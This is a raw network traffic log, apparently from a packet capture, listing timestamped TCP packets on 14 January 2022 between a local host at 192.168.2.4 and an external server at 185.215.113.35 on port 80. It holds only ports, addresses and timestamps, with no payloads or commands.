Jan 14, 2022 09:26:01.602758884 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.602793932 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.604552984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.604701042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.604798079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.604984045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.605169058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.605293989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.605443954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.605557919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.605720997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.605739117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.605904102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.605916977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.606067896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.606081963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.606236935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.606254101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.606404066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.606421947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.606575012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.606590033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.606734037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.606750965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.606909037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.606925011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.607069016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.607084990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.607239962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.607254982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.607402086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.607415915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.607573032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.607590914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.607733965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.607750893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.607912064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.607927084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.608073950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.608087063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.608253956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.608269930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.608450890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.608472109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.608639956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.608658075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.608814001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.608829975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.608997107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.609010935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.609173059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.609189987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.609358072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.609373093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.609529972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.609546900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.609711885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.609726906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.609888077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.609904051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.610068083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.610085964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.610248089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.610266924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.610430956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.610445976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.633204937 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.633245945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.633331060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.633446932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.633687019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.633703947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.633836985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.634057999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.634305954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.634466887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.634567976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.634747982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.634767056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.634880066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.635051966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.635127068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.635305882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.635324001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.635431051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.635601997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.635700941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.635786057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.635895014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.636023045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.636126995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.636204004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.636369944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.636390924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.636497021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.636584997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.636748075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.636821032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.636966944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.637146950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.637166023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.637363911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.637378931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.637541056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.637558937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.637681961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.637753963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.637996912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.638111115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.638248920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.638428926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.638437033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.638549089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.638699055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.638767958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.638886929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.639054060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.639067888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.639256001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.639272928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.639413118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.639427900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.639610052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.639626980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.639779091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.639908075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.639925003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.640080929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.640096903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.640271902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.640289068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.640441895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.640456915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.640625000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.640642881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.640748024 CET	80	49890	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.640804052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.640872955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.640877008 CET	49890	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.641037941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.641055107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.641223907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.641242027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.641388893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.641405106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.641560078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.641577005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.641721010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.641736984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.641905069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.641921997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.642066956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.642081022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.642241955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.642258883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.642401934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.642416000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.642574072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.642591000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.642735004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.642751932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.642908096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.642925024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.643069029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.643085003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.643240929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.643259048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.643402100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.643416882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.643579960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.643598080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.643743038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.643764019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.643903971 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.643930912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.644190073 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.655992985 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.664668083 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.670413971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.670748949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.670767069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.670921087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.671005011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.671188116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.671298981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.671459913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.671643019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.671782970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.671924114 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.671931982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.671952963 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.672127962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.672225952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.672379971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.672456026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.672624111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.672702074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.672868013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.672965050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.673108101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.673295975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.673314095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.673475027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.673489094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.673672915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.673691034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.673841000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.673871994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.674031973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.674046993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.674204111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.674211979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.674385071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.674402952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.674561024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.674571991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.674587965 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.674751043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.674770117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.674920082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.675014019 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.675018072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.675033092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.675184965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.675390005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.675405025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.675714970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.675899029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.676048040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.676230907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.676245928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.676382065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.676542044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.676723957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.676742077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.676903009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.677083015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.677258015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.677273989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.677417994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.677493095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.677664042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.679784060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.680279016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.680413961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.680587053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.680747032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.680934906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.680948973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.681088924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.681160927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.681334972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.681406975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.681572914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.681662083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.681840897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.682027102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.682121038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.682342052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.682358980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.682550907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.682765961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.682938099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.683079958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.683094025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.683259010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.683350086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.683600903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.683667898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.683787107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.683989048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.684107065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.684237003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.684334993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.684461117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.684632063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.684910059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.684931993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.685082912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.685163975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.685239077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.685462952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.685651064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.685803890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.685899019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.686093092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.713599920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.737200975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.737513065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.737704992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.737723112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.737909079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.738049030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.738245010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.738259077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.738405943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.738579035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.738779068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.738795996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.739279032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.739358902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.739512920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.739694118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.739856005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.740000963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.740190029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.740206957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.740739107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.740946054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.741085052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.741214037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.741405010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.741420984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.741569996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.741739035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744515896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744550943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744558096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744563103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744568110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744573116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744579077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744582891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744587898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744594097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744597912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744602919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744606972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744611979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744616032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744621038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744625092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744630098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744635105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744638920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744643927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744647980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744652033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744822025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.744833946 CET	49891	80	192.168.2.4	185.215.113.35
